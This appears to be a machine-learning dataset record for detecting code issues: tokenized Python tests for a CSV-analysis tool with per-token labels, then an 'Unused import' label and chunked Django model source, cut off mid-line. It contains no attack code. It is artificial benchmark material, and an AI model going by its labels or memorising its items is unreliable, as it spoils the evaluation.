"\\u", "file", "\\u", "with", "\\u", "header_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fq", "fn_", "=_", "os_", "._", "path_", "._", "join_", "(_", "data\\u", "dir_", ",_", "'", "empty", "\\u", "header", ".", "csv", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "'%", "s", " ", "%", "s", " ", "--", "output", "format", "=", "pars", "able", "'_", "%_", "(_", "os_", "._", "path_", "._", "join_", "(_", "script", "\\u", "path_", ",_", "'", "gri", "stl", "e\\u", "determina", "tor", "'_", ")_", ",_", "fq", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "envo", "y_", "._", "run_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "r_", "._", "std", "\\u", "out_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "r_", "._", "std", "\\u", "err_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "r_", "._", "status", "\\u", "code_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "get", "\\u", "value_", "(_", "r_", "._", "std", "\\u", "out_", ",_", "'", "file", "\\u", "analys", "is", "\\u", "results", "'_", ",_", "'", "main", "'_", ",_", "'", "main", "'_", ",_", "'", "record", "\\u", "count", "'_", ")_", "==_", "'", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "get", "\\u", "value_", "(_", "r_", "._", "std", "\\u", "out_", ",_", "'", "file", "\\u", "analys", "is", "\\u", "results", "'_", ",_", "'", "main", "'_", ",_", "'", "main", "'_", ",_", "'", "hashe", "ader", "'_", ")_", "==_", "'", "Tru", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "empty", "\\u", "file_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "empty", "\\u", "file", "\\u", "with", "\\u", "header", "\\u", "and", "\\u", "hashe", "ader", "\\u", "arg_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fq", "fn_", "=_", "os_", "._", "path_", "._", "join_", "(_", "data\\u", "dir_", ",_", "'", "empty", "\\u", "header", ".", "csv", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "'%", "s", " ", "%", "s", " ", "--", "output", "format", "=", "pars", "able", " ", "--", "hashe", "ader", "'_", "%_", "(_", "os_", "._", "path_", "._", "join_", "(_", "script", "\\u", "path_", ",_", "'", "gri", "stl", "e\\u", "determina", "tor", "'_", ")_", ",_", "fq", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "envo", "y_", "._", "run_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "r_", "._", "std", "\\u", "out_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "r_", "._", "std", "\\u", "err_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "r_", "._", "status", "\\u", "code_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "get", "\\u", "value_", "(_", "r_", "._", "std", "\\u", "out_", ",_", "'", "file", "\\u", "analys", "is", "\\u", "results", "'_", ",_", "'", "main", "'_", ",_", "'", "main", "'_", ",_", "'", "record", "\\u", "count", "'_", ")_", "==_", "'", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "get", "\\u", "value_", "(_", "r_", "._", "std", "\\u", "out_", ",_", "'", "file", "\\u", "analys", "is", "\\u", "results", "'_", ",_", "'", "main", "'_", ",_", "'", "main", "'_", ",_", "'", "hashe", "ader", "'_", ")_", "==_", "'", "Tru", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "\\u", "output", "\\u", "format", "ting", "\\u", "and", "\\u", "contents_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "output", "\\u", "format", "ting", "\\u", "and", "\\u", "contents_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "setup", "\\u", "method_", "(_", "self_", ",_", "method_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "recs_", "=_", "[_", "[_", "'", "Ala", "bam", "a", "'_", ",_", "'", "8", "'_", ",_", "'", "1", "8", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "Ala", "ska", "'_", ",_", "'", "6", "'_", ",_", "'", "16", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "Ari", "zona", "'_", ",_", "'", "6", "'_", ",_", "'", "14", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "Ar", "kan", "sas", "'_", ",_", "'", "2", "'_", ",_", "'", "1", "2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "Cali", "for", "nia", "'_", ",_", "'", "1", "9", "'_", ",_", "'", "4", "4", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "file", "\\u", "struct_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "field", "\\u", "struct_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fq", "fn_", "=_", "generat", "e\\u", "test\\u", "file_", "(_", "delim_", "=_", "'|'_", ",_", "rec", "\\u", "list_", "=_", "recs_", ",_", "quoted", "_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "'%", "s", " ", "%", "s", " ", "--", "output", "format", "=", "pars", "able", "'_", "%_", "(_", "os_", "._", "path_", "._", "join_", "(_", "script", "\\u", "path_", ",_", "'", "gri", "stl", "e\\u", "determina", "tor", "'_", ")_", ",_", "fq", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "envo", "y_", "._", "run_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "r", ".", "std", "\\u", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "r", ".", "std", "\\u", "err_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "r_", "._", "status", "\\u", "code_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mydi", "ale", "ct_", "=_", "csv_", "._", "Dial", "ect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mydi", "ale", "ct_", "._", "delimiter_", "=_", "'|'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mydi", "ale", "ct_", "._", "quoting", "_", "=_", "file", "\\u", "type_", "._", "get", "\\u", "quote", "\\u", "number_", "(_", "'", "QUOTE", "\\u", "ALL", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mydi", "ale", "ct_", "._", "quotechar", "_", "=_", "'\"'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mydi", "ale", "ct_", "._", "linet", "ermina", "tor_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "csv", "obj_", "=_", "csv_", "._", "reader_", "(_", "r_", "._", "std", "\\u", "out_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", ",_", "dialect_", "=_", "mydi", "ale", "ct_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "record_", "in_", "csv", "obj_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "record_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "len_", "(_", "record_", ")_", "==_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "division_", "=_", "record_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "section_", "=_", "record_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subsection", "_", "=_", "record_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "record_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "record_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "division_", "in_", "[_", "'", "file", "\\u", "analys", "is", "\\u", "results", "'_", ",_", "'", "field", "\\u", "analys", "is", "\\u", "results", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "division_", "==_", "'", "file", "\\u", "analys", "is", "\\u", "results", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "section_", "==_", "'", "main", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "subsection", "_", "==_", "'", "main", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "file", "\\u", "struct_", "[_", "key_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "division_", "==_", "'", "field", "\\u", "analys", "is", "\\u", "results", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "'", "field", "\\u'_", "in_", "section_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "subsection", "_", "in_", "[_", "'", "main", "'_", ",_", "'", "top", "\\u", "values", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "section_", "not_", "in_", "self_", "._", "field", "\\u", "struct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "field", "\\u", "struct_", "[_", "section_", "]_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "subsection", "_", "not_", "in_", "self_", "._", "field", "\\u", "struct_", "[_", "section_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "field", "\\u", "struct_", "[_", "section_", "]_", "[_", "subsection", "_", "]_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "field", "\\u", "struct_", "[_", "section_", "]_", "[_", "subsection", "_", "]_", "[_", "key_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "output", "\\u", "format", "ting", "\\u", "and", "\\u", "contents_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "file", "\\u", "info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "self_", "._", "file", "\\u", "struct_", "[_", "'", "record", "\\u", "count", "'_", "]_", "==_", "'", "5", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "file", "\\u", "struct_", "[_", "'", "skip", "initials", "pace", "'_", "]_", "==_", "'", "Fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "file", "\\u", "struct_", "[_", "'", "quoting", "'_", "]_", "==_", "'", "QUOTE", "\\u", "NON", "E", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "file", "\\u", "struct_", "[_", "'", "field", "\\u", "count", "'_", "]_", "==_", "'", "3", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "file", "\\u", "struct_", "[_", "'", "delimiter", "'_", "]_", "==_", "\"'", "|", "'\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "file", "\\u", "struct_", "[_", "'", "hashe", "ader", "'_", "]_", "==_", "'", "Fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "file", "\\u", "struct_", "[_", "'", "escape", "char", "'_", "]_", "==_", "'", "Non", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "file", "\\u", "struct_", "[_", "'", "csv", "\\u", "quoting", "'_", "]_", "==_", "'", "Fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "file", "\\u", "struct_", "[_", "'", "double", "quote", "'_", "]_", "==_", "'", "Fal", "se", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "file", "\\u", "struct_", "[_", "'", "format\\u", "type", "'_", "]_", "==_", "'", "csv", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "output", "\\u", "format", "ting", "\\u", "and", "\\u", "contents_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "field", "\\u", "info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "field", "\\u", "number", "'_", "]_", "==_", "'", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "name", "'_", "]_", "==_", "'", "field", "\\u", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "type", "'_", "]_", "==_", "'", "string", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "know", "n", "\\u", "values", "'_", "]_", "==_", "'", "5", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "min", "'_", "]_", "==_", "'", "Ala", "bam", "a", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "max", "'_", "]_", "==_", "'", "Cali", "for", "nia", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "unique", "\\u", "values", "'_", "]_", "==_", "'", "5", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "wrong", "\\u", "field", "\\u", "cnt", "'_", "]_", "==_", "'", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "case", "'_", "]_", "==_", "'", "mixed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "max", "\\u", "length", "'_", "]_", "==_", "'", "10", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "mean", "\\u", "length", "'_", "]_", "==_", "'", "7.6", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "min", "\\u", "length", "'_", "]_", "==_", "'", "6", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "field", "\\u", "number", "'_", "]_", "==_", "'", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "name", "'_", "]_", "==_", "'", "field", "\\u", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "type", "'_", "]_", "==_", "'", "integ", "er", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "know", "n", "\\u", "values", "'_", "]_", "==_", "'", "4", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "min", "'_", "]_", "==_", "'", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "max", "'_", "]_", "==_", "'", "1", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "unique", "\\u", "values", "'_", "]_", "==_", "'", "4", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "wrong", "\\u", "field", "\\u", "cnt", "'_", "]_", "==_", "'", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "mean", "'_", "]_", "==_", "'", "8.2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "median", "'_", "]_", "==_", "'", "6.0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "std", "\\u", "dev", "'_", "]_", "==_", "'", "5.7", "410", "800", "377", "6", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "main", "'_", "]_", "[_", "'", "varian", "ce", "'_", "]_", "==_", "'", "32.", "96", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "output", "\\u", "format", "ting", "\\u", "and", "\\u", "contents_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "top", "\\u", "value", "\\u", "info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "pp", "(", "self", ".", "field", "\\u", "struct", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "0", "'_", "]_", "[_", "'", "top", "\\u", "values", "'_", "]_", "[_", "'", "top", "\\u", "values", "'_", "]_", "==_", "'", "not", " ", "shown", " ", "-", " ", "all", " ", "are", " ", "unique", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "top", "\\u", "values", "'_", "]_", "[_", "'", "2", "'_", "]_", "==_", "'", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "top", "\\u", "values", "'_", "]_", "[_", "'", "6", "'_", "]_", "==_", "'", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "top", "\\u", "values", "'_", "]_", "[_", "'", "8", "'_", "]_", "==_", "'", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "field", "\\u", "struct_", "[_", "'", "field", "\\u", "1", "'_", "]_", "[_", "'", "top", "\\u", "values", "'_", "]_", "[_", "'", "1", "9", "'_", "]_", "==_", "'", "1", "'_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
niwinz/niwi-web/src/niwi/web/models.py
[ { "content": "# -*- coding: utf-8 -*-\n\nfrom django.db import models\nfrom django.conf import settings\nfrom django.template.defaultfilters import slugify\nfrom django.contrib.contenttypes import generic\nfrom django.contrib.contenttypes.models import ContentType\n\nfrom niwi.utils import get_url_data, cacheable\nfrom niwi.web.forms import LEXER_CHOICES\nfrom niwi.contrib.db.fields import CreationDateTimeField, ModificationDateTimeField\n\nimport datetime, uuid\n\nSTATUS_CHOICES = (\n ('public', u'Public'),\n ('private', u'Private'),\n ('draft', u'Draft'),\n)\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def slugify_uniquely(value, model, slugfield=\"slug\"):\n suffix = 0\n potential = base = slugify(value)\n if len(potential) == 0:\n potential = 'null'\n while True:\n if suffix:\n potential = \"-\".join([base, str(suffix)])\n if not model.objects.filter(**{slugfield: potential}).count():\n return potential\n suffix += 1", "metadata": "root.slugify_uniquely", "header": "['module', '___EOS___']", "index": 20 }, { "content": "class Page(models.Model):\n slug = models.SlugField(max_length=100, unique=True, db_index=True, editable=True, blank=True)\n title = models.CharField(max_length=500, db_index=True)\n content = models.TextField()\n markup = models.BooleanField(default=False)\n status = models.CharField(max_length=40, choices=STATUS_CHOICES, db_index=True, default='draft')\n owner = models.ForeignKey('auth.User', related_name='pages', null=True, default=None, blank=True)\n created_date = CreationDateTimeField(editable=True)\n modified_date = ModificationDateTimeField(editable=True)\n\n class Meta:\n db_table = 'pages'\n\n \n", "metadata": "root.Page", "header": "['module', '___EOS___']", "index": 33 }, { "content": " @models.permalink\n def get_absolute_url(self):\n return ('web:show-page', (), {'slug': self.slug})", "metadata": "root.Page.get_absolute_url", "header": "['class', 'Page', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 46 }, { "content": " def save(self, *args, **kwargs):\n if not self.slug:\n self.slug = slugify_uniquely(self.title, self.__class__)\n\n super(Page, self).save(*args, **kwargs)", "metadata": "root.Page.save", "header": "['class', 'Page', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 50 }, { "content": " def __unicode__(self):\n return u\"Page: %s\" % (self.title)", "metadata": "root.Page.__unicode__", "header": "['class', 'Page', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 56 }, { "content": "class Post(models.Model):\n slug = models.SlugField(max_length=100, unique=True, db_index=True, editable=True, blank=True)\n title = models.CharField(max_length=500, db_index=True, blank=True)\n content = models.TextField()\n markup = models.BooleanField(default=False)\n owner = models.ForeignKey('auth.User', related_name='posts', null=True, default=None, blank=True)\n status = models.CharField(max_length=40, choices=STATUS_CHOICES, db_index=True, default='draft')\n tags = models.CharField(max_length=200, blank=True, null=True, default='', db_index=True)\n\n created_date = CreationDateTimeField(editable=True)\n modified_date = ModificationDateTimeField(editable=True)\n \n class Meta:\n db_table = 'posts'\n\n\n", "metadata": "root.Post", "header": "['module', '___EOS___']", "index": 60 }, { "content": " def __unicode__(self):\n return u\"Post: %s\" % (self.title) ", "metadata": "root.Post.__unicode__", "header": "['class', 'Post', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 75 }, { "content": " def save(self, *args, **kwargs):\n if not self.slug:\n self.slug = slugify_uniquely(self.title, self.__class__)\n\n super(Post, self).save(*args, **kwargs)", "metadata": "root.Post.save", "header": "['class', 'Post', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 78 }, { "content": " @models.permalink\n def get_absolute_url(self):\n return ('web:show-post', (), {'slug': self.slug})", "metadata": "root.Post.get_absolute_url", "header": "['class', 'Post', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 84 }, { "content": "class PostAttachment(models.Model):\n post = models.ForeignKey('Post', related_name='attachments')\n slug = models.SlugField(max_length=200, unique=True, db_index=True, editable=True, blank=True)\n name = models.CharField(max_length=500, db_index=True, blank=True)\n file = models.FileField(max_length=500, upload_to=\"attachments/%Y/%m/%d\",\n serialize=False, editable=True, blank=True)", "metadata": "root.PostAttachment", "header": "['module', '___EOS___']", "index": 89 }, { "content": "class Bookmark(models.Model):\n title = models.CharField(max_length=500, blank=True)\n slug = models.SlugField(max_length=100, unique=True, db_index=True, editable=True, blank=True)\n url = models.CharField(max_length=1000, db_index=True)\n tags = models.CharField(max_length=1000, db_index=True, blank=True, default='')\n owner = models.ForeignKey('auth.User', related_name='bookmarks', blank=True, null=True)\n \n created_date = models.DateTimeField(auto_now_add=True)\n modified_date = models.DateTimeField(auto_now_add=True)\n \n public = models.BooleanField(default=True)\n\n\n class Meta:\n db_table = 'bookmarks'\n\n\n", "metadata": "root.Bookmark", "header": "['module', '___EOS___']", "index": 97 }, { "content": " def __unicode__(self):\n return u\"Bookmark: %s\" % (self.title)", "metadata": "root.Bookmark.__unicode__", "header": "['class', 'Bookmark', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 109 }, { "content": " def save(self, 